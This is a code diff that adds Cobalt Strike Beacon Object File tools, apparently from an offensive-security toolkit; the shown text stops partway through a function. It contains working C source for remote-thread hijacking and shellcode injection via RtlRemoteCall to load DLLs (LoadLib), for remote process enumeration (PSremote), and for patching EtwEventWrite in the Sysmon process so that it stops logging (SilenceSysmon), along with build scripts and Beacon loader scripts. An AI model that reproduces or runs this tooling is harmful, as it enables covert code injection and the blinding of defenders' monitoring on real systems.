+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/LoadLib/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc loadlib.c
+move /y loadlib.obj loadlib.o
+dumpbin /disasm loadlib.o > loadlib.disasm
+

+ 182 - 0
KIT/LoadLib/loadlib.c

@@ -0,0 +1,182 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tlhelp32.h>
+#include <stddef.h>
+#include <processsnapshot.h>
+#include "beacon.h"
+#include "loadlib.h"
+
+
+int FindThreadID(int pid){
+
+    int tid = 0;
+    THREADENTRY32 thEntry;
+
+    thEntry.dwSize = sizeof(thEntry);
+    HANDLE Snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+                
+	while (KERNEL32$Thread32Next(Snap, &thEntry)) {
+		if (thEntry.th32OwnerProcessID == pid)  {
+			tid = thEntry.th32ThreadID;
+			break;
+		}
+	}
+	KERNEL32$CloseHandle(Snap);
+	
+	return tid;
+}
+
+
+typedef struct _API_REMOTE_CALL {
+	// remote API call return value
+	size_t		retval;
+	
+	// standard function to call at the end of the shellcode
+	NtContinue_t ntContinue;
+	CONTEXT		context;
+	
+	// remote function to call - adjust the types!
+	LoadLibraryA_t ARK_func;
+	char		param1[100];				// LPCSTR
+	
+} ApiReeKall;
+
+
+void SHELLCODE(ApiReeKall * ark){
+	size_t ret = (size_t) ark->ARK_func(ark->param1);
+	ark->retval = ret;
+	ark->ntContinue(&ark->context, 0);
+}
+
+void SHELLCODE_END(void) {}
+
+
+size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) {
+	char prolog[] = { 	0x49, 0x8b, 0xcc,   // mov rcx, r12
+						0x49, 0x8b, 0xd5,	// mov rdx, r13
+						0x4d, 0x8b, 0xc6,	// mov r8, r14
+						0x4d, 0x8b, 0xcf	// mov r9, r15
+					};
+	int prolog_size = sizeof(prolog);
+	
+	// resolve needed API pointers
+	RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall");
+	NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue");
+	
+	if (pRtlRemoteCall == NULL || pNtContinue == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
+		return -1;		
+	}
+	
+	// allocate some space in the target for our shellcode
+	void * remote_mem = KERNEL32$VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (remote_mem == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error allocating remote memory!\n");
+		return -1;
+	}
+	
+	// calculate the size of our shellcode
+	size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE;
+	
+	size_t bOut = 0;
+#ifdef _WIN64 
+	// first, write prolog, if the process is 64-bit
+	if (KERNEL32$WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) {
+		KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
+		BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (prolog)!\n");
+		return -1;
+	}
+#else
+	// otherwise, ignore the prolog
+	prolog_size = 0;
+#endif
+	// write the main payload
+	if (KERNEL32$WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) {
+		KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
+		BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (shellcode)!\n");
+		return -1;
+	}
+	
+	// set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking
+	ark.retval = RETVAL_TAG;
+	ark.ntContinue = pNtContinue;
+	ark.context.ContextFlags = CONTEXT_FULL;
+	KERNEL32$SuspendThread(hThread);
+	KERNEL32$GetThreadContext(hThread, &ark.context);
+
+	// prepare an argument to be passed to our shellcode
+	ApiReeKall * ark_arg;
+	ark_arg = (ApiReeKall  *) ((size_t) remote_mem + sc_size + prolog_size + 4);		// align to 0x10
+	if (KERNEL32$WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) {
+		KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
+		KERNEL32$ResumeThread(hThread);
+		BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (ApiReeKall arg)!\n");
+		return -1;		
+	}
+
+	// if all is set, make a remote call
+	NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1);
+	if (status != 0) {
+		BeaconPrintf(CALLBACK_ERROR, "Failed RtlRemoteCall with status code: %x\n", status);
+		KERNEL32$ResumeThread(hThread);
+		return 0;
+	}
+
+	BeaconPrintf(CALLBACK_OUTPUT, "[+] Made successful remote RPC call with status code: %x\n[*] Wait for the RPC call to be triggered in the remote process..\n", status);
+	KERNEL32$ResumeThread(hThread);
+	
+	// get the remote API call return value
+	size_t ret = 0;
+	while(TRUE) {
+		KERNEL32$Sleep(1000);
+		KERNEL32$ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut);
+		if (ret != RETVAL_TAG) break;
+	}
+
+	if (!KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE))
+		BeaconPrintf(CALLBACK_ERROR, "Remote shellcode memory could not be released\n");
+	
+	return ret;
+}
+
+
+void go(char *args, int len){
+	datap parser;
+	int pID = 0;
+	char *pathToDLL;
+
+	BeaconDataParse(&parser, args, len);
+	pID = BeaconDataInt(&parser);
+    pathToDLL = BeaconDataExtract(&parser, NULL);
+
+	DWORD tID = FindThreadID(pID);
+	if (tID == 0) {
+		BeaconPrintf(CALLBACK_ERROR, "Could not find a suitable thread in target process!\n");
+		return -1;		
+	}
+	
+	// open both process and thread in the remote target
+	HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
+	HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, 0, tID);
+	if (hProcess == NULL || hThread == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
+		return -1;		
+	}
+	BeaconPrintf(CALLBACK_OUTPUT, "[+] Got handle to remote process and thread!\n");
+	
+	// prepare a ApiReeKall struct with a function to call
+	ApiReeKall ark = { 0 };
+	ark.ARK_func = (LoadLibraryA_t) GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA");
+	MSVCRT$strcpy_s(ark.param1, 100, pathToDLL);
+	
+	size_t ret = MakeReeKall(hProcess, hThread, ark);
+	if(ret != 0) {
+		BeaconPrintf(CALLBACK_OUTPUT, "[+] Received call confirmation. DLL should be loaded!\n", ret);
+	}
+
+	// cleanup
+	KERNEL32$CloseHandle(hThread);
+	KERNEL32$CloseHandle(hProcess);
+
+	return 0;
+}

+ 34 - 0
KIT/LoadLib/loadlib.cna

@@ -0,0 +1,34 @@
+# author REDMED-X
+
+beacon_command_register(
+	"loadlib", "Load DLL from disk in remote process via RPC call.",
+	"INFO:\nLoad a on disk present DLL via RtlRemoteCall API in a remote process.\nDepending on the process from which you run this tool, it may or may not work.\n\nOPTIONS:\n[pid]: target process to load the DLL into\n[path]: full path to the on disk present DLL\n\n" .
+	"USAGE:\nloadlib <pid> <path to dll>\n\n");
+
+
+alias loadlib {
+    $bid = $1;
+    $pid = $2;
+    $path = $3;
+	
+	if ($pid eq "" || $path eq "") {
+		berror($bid, "Please make sure that both the PID and PATH are specified.");
+		return;
+	}
+	
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("loadlib.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+	
+	
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "iz", $pid, $path);
+    
+	blog($bid, "Tasked to load DLL in remote process..");
+	
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 26 - 0
KIT/LoadLib/loadlib.h

@@ -0,0 +1,26 @@
+#include <windows.h>
+
+#define RETVAL_TAG 0xDDCCBBAA
+
+typedef NTSTATUS (NTAPI * RtlRemoteCall_t)(HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG Arguments, BOOLEAN PassContext, BOOLEAN	AlreadySuspended);
+typedef NTSTATUS (NTAPI * NtContinue_t)(PCONTEXT ThreadContext, BOOLEAN	RaiseAlert);
+typedef HANDLE (WINAPI * OpenProcess_t)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+typedef HMODULE (WINAPI * LoadLibraryA_t)(LPCSTR lpLibFileName);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$getchar(void);
+DECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy_s(char *dest, rsize_t dest_size, const char *src);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD th32ProcessID);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT int WINAPI KERNEL32$lstrcmpiA (LPCSTR lpString1, LPCSTR lpString2);
+DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext(HANDLE hThread, LPCONTEXT lpContext);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
+DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
+

+ 14 - 0
KIT/PSremote/README.md

@@ -0,0 +1,14 @@
+# PSremote
+Get a list of all processes running on the remote host.
+
+## Options
+`<FQDN or IP>`: specify the target host FQDN or IP. 
+
+## Usage
+`psremote <FQDN or IP remote host>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/PSremote/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/PSremote/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc psremote.c
+move /y psremote.obj psremote.o
+dumpbin /disasm psremote.o > psremote.disasm
+

+ 147 - 0
KIT/PSremote/psremote.c

@@ -0,0 +1,147 @@
+#include <windows.h>
+#include <stdio.h>
+#include <wtsapi32.h>
+#include "beacon.h"
+#include "psremote.h"
+
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	// For BOF we need to avoid large stack buffers, so put print buffer on heap.
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { // Allocate once and free in BeaconOutputStreamW. 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+		//BeaconPrintf(CALLBACK_OUTPUT, "DONE"); //DEBUG
+	}
+
+CleanUp:
+
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); // Free print buffer.
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+
+	return;
+}
+
+
+int ListProcesses(HANDLE handleTargetHost) {
+
+	WTS_PROCESS_INFOA * proc_info;
+	DWORD pi_count = 0;
+	LPSTR procName; 
+	WCHAR WCprocName[256];
+	
+	if (!WTSAPI32$WTSEnumerateProcessesA(handleTargetHost, 0, 1, &proc_info, &pi_count)) {
+		 BeaconPrintf(CALLBACK_ERROR, "Failed to get a valid handle to the specified host!\n");
+		return -1;
+	}
+	
+	BeaconPrintToStreamW(L"\nProcess name\t\t\t\tPID\t\t\tSessionID\n");
+	BeaconPrintToStreamW(L"===================================================================================\n");
+	for (int i = 0 ; i < pi_count ; i++ ) {
+		procName = proc_info[i].pProcessName;
+		KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
+		BeaconPrintToStreamW(L"%-40s\t%d\t%23d\n",WCprocName ,proc_info[i].ProcessId ,proc_info[i].SessionId);
+	}
+	
+	WTSAPI32$WTSCloseServer(handleTargetHost);
+	
+	return 0;
+}
+
+void go(char *args, int len) {
+	
+	CHAR *hostName;
+	datap parser;
+	DWORD argSize = NULL;
+	HANDLE handleTargetHost = NULL;
+	int res;
+
+	BeaconDataParse(&parser, args, len);
+    hostName = BeaconDataExtract(&parser, &argSize);
+
+	handleTargetHost = WTSAPI32$WTSOpenServerA(hostName);
+	
+	res = ListProcesses(handleTargetHost);
+	
+	//print data to CS console
+	BeaconOutputStreamW();
+
+	return 0;
+}

+ 33 - 0
KIT/PSremote/psremote.cna

@@ -0,0 +1,33 @@
+# author REDMED-X
+
+beacon_command_register(
+	"psremote", "List all running processes on a remote host.\n",
+	"INFO:\nGet a list of all processes running on the remote host.\n\n" .
+	"USAGE:\npsremote <FQDN or IP remote host>\n\n");
+
+
+alias psremote {
+	local('$handle $data $args');
+	
+	# figure out the arch of this session
+    $bid = $1;
+	$remotehost = $2;
+	
+	
+	if ($remotehost eq "") {
+		berror($bid, "Please make sure that the FQDN or IP of the remote host is specified.");
+		return;
+	}
+	
+	# read in the right BOF file
+	$handle = openf(script_resource("psremote.o"));
+	$data = readb($handle, -1);
+	closef($handle);
+
+	# pack our arguments
+	$arg_data = bof_pack($1, "z", $remotehost);
+	
+	# execute it.
+	blog($bid, "Tasked to list processes of host: $+  $remotehost");
+	beacon_inline_execute($bid, $data, "go", $arg_data);
+}

+ 25 - 0
KIT/PSremote/psremote.h

@@ -0,0 +1,25 @@
+#include <windows.h>
+
+//ListProcesses
+DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSOpenServerA(LPSTR pServerName);
+DECLSPEC_IMPORT BOOL WINAPI WTSAPI32$WTSEnumerateProcessesA(HANDLE hServer, DWORD Reserved, DWORD Version, PWTS_PROCESS_INFOA *ppProcessInfo, DWORD *pCount);
+DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSCloseServer(HANDLE hServer);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+

+ 16 - 0
KIT/SilenceSysmon/README.md

@@ -0,0 +1,16 @@
+# SilenceSysmon
+Silence the Sysmon service by patching its capability to write ETW events to the log.
+
+Restarting the Sysmon service or the system itself will clear the patch and Sysmon will resume working normally. Altough this will not leave any traces in the log, there will be a time gap between the last and first new event.
+
+## Options
+`<pid>`: the process ID of the Sysmon service running on the system.
+
+## Usage
+`silencesysmon <sysmon pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/SilenceSysmon/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/SilenceSysmon/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc silencesysmon.c
+move /y silencesysmon.obj silencesysmon.o
+dumpbin /disasm silencesysmon.o > silencesysmon.disasm
+

+ 79 - 0
KIT/SilenceSysmon/silencesysmon.c

@@ -0,0 +1,79 @@
+#include <winternl.h>
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tlhelp32.h>
+#include "silencesysmon.h"
+#include "beacon.h"
+
+
+BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
+	HANDLE hToken;
+    TOKEN_PRIVILEGES tp;
+    LUID luid;
+
+	if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
+    if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE; 
+
+    tp.PrivilegeCount = 1;
+    tp.Privileges[0].Luid = luid;
+    if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+    else tp.Privileges[0].Attributes = 0;
+
+    if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE; 
+    if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
+
+    return TRUE;
+}
+
+
+int SilentSysmon(HANDLE hProc) {
+
+	HANDLE hThread = NULL;
+	unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
+	
+	void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite);
+#ifdef _WIN64
+	// xor rax, rax; ret
+	char patch[] = "\x48\x33\xc0\xc3";
+#else
+	// xor eax, eax; ret 14
+	char patch[] = "\x33\xc0\xc2\x14\x00";
+#endif
+
+	KERNEL32$WriteProcessMemory(hProc, pEventWrite, (PVOID) patch, (SIZE_T) sizeof(patch), (SIZE_T *) NULL);
+	KERNEL32$FlushInstructionCache(hProc, pEventWrite, 4096);
+
+	return 0;
+}
+
+
+int go(char *args, int len) {
+	int pid = 0;
+    HANDLE hProc = NULL;
+	datap parser;
+
+	BeaconDataParse(&parser, args, len);
+	pid = BeaconDataInt(&parser);
+
+	if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
+		BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to silence Sysmon.\n");
+		return 0;
+	}
+
+	if (pid) {
+		hProc = KERNEL32$OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
+
+		if (hProc != NULL) {
+			SilentSysmon(hProc);
